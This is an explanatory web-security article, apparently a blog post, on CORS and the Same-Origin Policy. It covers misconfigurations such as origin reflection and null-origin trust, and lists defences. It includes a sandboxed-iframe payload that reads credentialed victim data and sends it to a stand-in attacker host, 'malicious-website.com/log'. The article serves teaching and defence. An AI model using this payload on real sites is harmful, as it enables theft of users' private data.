Cross-Origin Resource Sharing (CORS) and Same‑Origin Policy: Concepts, Vulnerabilities, and Mitigations
This article explains the fundamentals of Cross‑Origin Resource Sharing (CORS) and the Same‑Origin Policy, illustrates common misconfigurations and attack scenarios such as origin reflection, null origin whitelisting, and TLS downgrade, and provides best‑practice mitigation techniques for secure web development.
Cross‑Origin Resource Sharing (CORS)
CORS is a browser mechanism that allows controlled access to resources located outside the current origin. While it extends the Same‑Origin Policy, improper configuration can introduce cross‑origin attacks. CORS does not protect against CSRF.
What is CORS?
CORS uses a set of HTTP headers to define trusted web domains and related attributes, such as whether authenticated access is allowed. Browsers exchange these headers with the target site.
Same‑origin policy (SOP)
SOP restricts a script on one origin from accessing data on another origin, protecting users from malicious sites that could otherwise read cookies, session data, or private information.
Relaxations of SOP
To enable legitimate cross‑origin interactions, many sites use CORS to relax SOP in a controlled way. The Access-Control-Allow-Origin header specifies which origins are allowed.
Vulnerabilities caused by misconfigured CORS
Common mistakes include echoing the request Origin header directly, allowing overly broad whitelists, and permitting null origins.
Echoing Origin in ACAO
Some applications return the incoming Origin value as Access-Control-Allow-Origin without validation.
GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...Response:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: trueThis allows any domain to read sensitive data, including cookies.
Origin whitelist mistakes
Using simple suffix or prefix matching can be abused. For example, allowing any domain that ends with normal-website.com lets an attacker register hackersnormal-website.com . Allowing any domain that starts with normal-website.com enables normal-website.com.evil-user.net .
Allowing null origin
Browsers send Origin: null for sandboxed, file‑protocol, or redirected requests. Some developers whitelist null for local development, which attackers can exploit via iframes.
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() { location='malicious-website.com/log?key='+this.responseText; };
</script>"></iframe>Using CORS trust to exploit XSS
If a trusted site has an XSS flaw, an attacker can combine it with a correctly configured CORS trust relationship to steal data.
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...Response:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: trueAn XSS payload on subdomain.vulnerable-website.com can then read the sensitive response.
Misconfigured CORS breaking TLS
When a site trusts an HTTP sub‑domain while serving the main site over HTTPS, an attacker can redirect the victim to the insecure sub‑domain, capture the request, and forward a forged CORS request to the HTTPS endpoint, leaking data even though cookies are marked Secure.
Intranet‑only CORS with no credentials
Servers that expose Access-Control-Allow-Origin: * without Access-Control-Allow-Credentials can be abused from the public internet if an internal user visits a malicious site, turning the browser into a proxy for intranet resources.
How to defend against CORS‑based attacks
Explicitly list trusted origins in Access-Control-Allow-Origin instead of echoing the request origin.
Never allow null or wildcard * when credentials are required.
Avoid using wildcards in internal networks; prefer exact hostnames.
Remember that CORS is not a substitute for server‑side authentication and authorization.
Validate and sanitize any user‑controlled data that may affect CORS headers.
Same‑origin policy (SOP)
SOP prevents scripts from one origin from reading data from another origin, protecting user sessions and private information. An origin consists of scheme, domain, and port; all three must match for two URLs to be considered same‑origin.
Exceptions exist (e.g., writable but not readable objects like location , readable but not writable objects like window.length , and functions such as postMessage ).
Legacy browsers sometimes allow cookie sharing across sub‑domains even when SOP would block it; using the HttpOnly flag can mitigate some risks.
Setting document.domain can relax SOP for sub‑domains of the same parent domain, but modern browsers no longer allow relaxing to top‑level domains.
CORS and the Access‑Control‑Allow‑Origin response header
The Access-Control-Allow-Origin header indicates which origins may access the response. Browsers compare this header with the request's Origin header.
Simple CORS example
GET /data HTTP/1.1
Host: robust-website.com
Origin: https://normal-website.comServer response:
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.comCredentialed cross‑origin requests
By default, browsers omit cookies and Authorization headers. To include them, the server must send Access-Control-Allow-Credentials: true .
GET /data HTTP/1.1
Host: robust-website.com
Origin: https://normal-website.com
Cookie: JSESSIONID=Response:
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Credentials: trueWildcard usage
The header can be set to * , but this cannot be combined with Access-Control-Allow-Credentials: true because it would expose authenticated data to anyone.
Preflight requests
For non‑simple requests (e.g., custom methods or headers), browsers send an OPTIONS request first to verify permissions.
OPTIONS /data HTTP/1.1
Host:
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-HeaderPossible server response:
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240Can CORS prevent CSRF?
No. CORS is a controlled relaxation of SOP and, if misconfigured, can actually increase the risk of CSRF attacks.
System Architect Go
Programming, architecture, application development, message queues, middleware, databases, containerization, big data, image processing, machine learning, AI, personal growth.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.